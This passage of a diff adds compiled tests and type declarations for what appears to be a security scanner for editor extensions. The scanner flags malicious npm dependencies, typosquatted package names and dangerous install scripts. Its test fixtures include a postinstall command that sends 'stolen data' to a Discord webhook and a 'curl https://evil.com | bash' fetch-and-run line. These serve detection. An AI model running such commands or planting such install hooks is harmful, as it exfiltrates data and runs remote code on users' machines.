postinstall: "curl -X POST https://discord.com/api/webhooks/123/abc -d 'stolen data'",
|
|
422
|
+
},
|
|
423
|
+
};
|
|
424
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
425
|
+
const maliciousFinding = findings.find((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT");
|
|
426
|
+
expect(maliciousFinding).toBeDefined();
|
|
427
|
+
});
|
|
428
|
+
it("ignores non-lifecycle scripts", () => {
|
|
429
|
+
const packageJson = {
|
|
430
|
+
scripts: {
|
|
431
|
+
build: "tsc",
|
|
432
|
+
test: "jest",
|
|
433
|
+
start: "node index.js",
|
|
434
|
+
},
|
|
435
|
+
};
|
|
436
|
+
const findings = checkLifecycleScripts(packageJson);
|
|
437
|
+
expect(findings).toHaveLength(0);
|
|
438
|
+
});
|
|
439
|
+
});
|
|
440
|
+
// --- Integration tests ---
|
|
441
|
+
describe("checkPackage (integration)", () => {
|
|
442
|
+
it("combines all manifest checks", () => {
|
|
443
|
+
const contents = makeContents({ name: "test" }, {
|
|
444
|
+
name: "suspicious-theme",
|
|
445
|
+
publisher: "suspicious",
|
|
446
|
+
main: "./extension.js",
|
|
447
|
+
activationEvents: ["*"],
|
|
448
|
+
contributes: {
|
|
449
|
+
themes: [{ id: "theme", label: "Theme", path: "./theme.json" }],
|
|
450
|
+
},
|
|
451
|
+
});
|
|
452
|
+
const findings = checkPackage(contents, makeZooData());
|
|
453
|
+
expect(findings.some((f) => f.id === "ACTIVATION_WILDCARD")).toBe(true);
|
|
454
|
+
expect(findings.some((f) => f.id === "THEME_WITH_CODE")).toBe(true);
|
|
455
|
+
});
|
|
456
|
+
it("runs all checks on a malicious package.json", () => {
|
|
457
|
+
const contents = makeContents({
|
|
458
|
+
name: "evil-extension",
|
|
459
|
+
dependencies: {
|
|
460
|
+
"event-stream": "^3.3.4", // Known malicious
|
|
461
|
+
lodahs: "^4.0.0", // Typosquat
|
|
462
|
+
},
|
|
463
|
+
scripts: {
|
|
464
|
+
postinstall: "curl https://evil.com | bash", // Malicious script
|
|
465
|
+
},
|
|
466
|
+
});
|
|
467
|
+
const zooData = makeZooData(["event-stream"]);
|
|
468
|
+
const findings = checkPackage(contents, zooData);
|
|
469
|
+
expect(findings.some((f) => f.id === "MALICIOUS_NPM_PACKAGE")).toBe(true);
|
|
470
|
+
expect(findings.some((f) => f.id === "TYPOSQUAT_PACKAGE")).toBe(true);
|
|
471
|
+
expect(findings.some((f) => f.id === "MALICIOUS_LIFECYCLE_SCRIPT")).toBe(true);
|
|
472
|
+
});
|
|
473
|
+
it("returns empty array for clean extension", () => {
|
|
474
|
+
const contents = makeContents({
|
|
475
|
+
name: "good-extension",
|
|
476
|
+
dependencies: {
|
|
477
|
+
express: "^4.0.0",
|
|
478
|
+
lodash: "^4.0.0",
|
|
479
|
+
},
|
|
480
|
+
scripts: {
|
|
481
|
+
build: "tsc",
|
|
482
|
+
test: "jest",
|
|
483
|
+
},
|
|
484
|
+
});
|
|
485
|
+
const zooData = makeZooData();
|
|
486
|
+
const findings = checkPackage(contents, zooData);
|
|
487
|
+
expect(findings).toHaveLength(0);
|
|
488
|
+
});
|
|
489
|
+
it("handles missing package.json", () => {
|
|
490
|
+
const manifest = {
|
|
491
|
+
name: "test-extension",
|
|
492
|
+
publisher: "test",
|
|
493
|
+
version: "1.0.0",
|
|
494
|
+
};
|
|
495
|
+
const contents = {
|
|
496
|
+
manifest,
|
|
497
|
+
files: new Map(),
|
|
498
|
+
basePath: "/test",
|
|
499
|
+
};
|
|
500
|
+
const zooData = makeZooData();
|
|
501
|
+
const findings = checkPackage(contents, zooData);
|
|
502
|
+
expect(findings).toHaveLength(0);
|
|
503
|
+
});
|
|
504
|
+
it("handles invalid package.json", () => {
|
|
505
|
+
const manifest = {
|
|
506
|
+
name: "test-extension",
|
|
507
|
+
publisher: "test",
|
|
508
|
+
version: "1.0.0",
|
|
509
|
+
};
|
|
510
|
+
const files = new Map();
|
|
511
|
+
files.set("package.json", Buffer.from("not valid json", "utf8"));
|
|
512
|
+
const contents = { manifest, files, basePath: "/test" };
|
|
513
|
+
const zooData = makeZooData();
|
|
514
|
+
const findings = checkPackage(contents, zooData);
|
|
515
|
+
expect(findings).toHaveLength(0);
|
|
516
|
+
});
|
|
517
|
+
});
|
|
518
|
+
//# sourceMappingURL=package.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"package.test.js","sourceRoot":"","sources":["../../../src/scanner/checks/package.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAE9C,OAAO,EACL,qBAAqB,EACrB,cAAc,EACd,qBAAqB,EACrB,sBAAsB,EACtB,YAAY,EACZ,eA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;QACxC,KAAK,CAAC,GAAG,CAAC,cAAc,EAAE,MAAM,CAAC,IAAI,CAAC,gBAAgB,EAAE,MAAM,CAAC,CAAC,CAAC;QACjE,MAAM,QAAQ,GAAiB,EAAE,QAAQ,EAAE,KAAK,EAAE,QAAQ,EAAE,OAAO,EAAE,CAAC;QAEtE,MAAM,OAAO,GAAG,WAAW,EAAE,CAAC;QAC9B,MAAM,QAAQ,GAAG,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;QAEjD,MAAM,CAAC,QAAQ,CAAC,CAAC,YAAY,CAAC,CAAC,CAAC,CAAC;IACnC,CAAC,CAAC,CAAC;AACL,CAAC,CAAC,CAAC"}
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import type { Finding, VsixContents } from "../types.js";
|
|
2
|
+
export declare function checkPatterns(contents: VsixContents): Finding[];
|
|
3
|
+
export declare function checkNativeFiles(contents: VsixContents): Finding[];
|
|
4
|
+
export declare function checkAllPatterns(contents: VsixContents): Finding[];
|
|
5
|
+
//# sourceMappingURL=patterns.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"patterns.d.ts","sourceRoot":"","sources":["../../../src/scanner/checks/patterns.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,OAAO,EAAY,YAAY,EAAE,MAAM,aAAa,CAAC;AAiNnE,wBAAgB,aAAa,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAuC/D;AAED,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAmClE;AAED,wBAAgB,gBAAgB,CAAC,QAAQ,EAAE,YAAY,GAAG,OAAO,EAAE,CAElE"}
|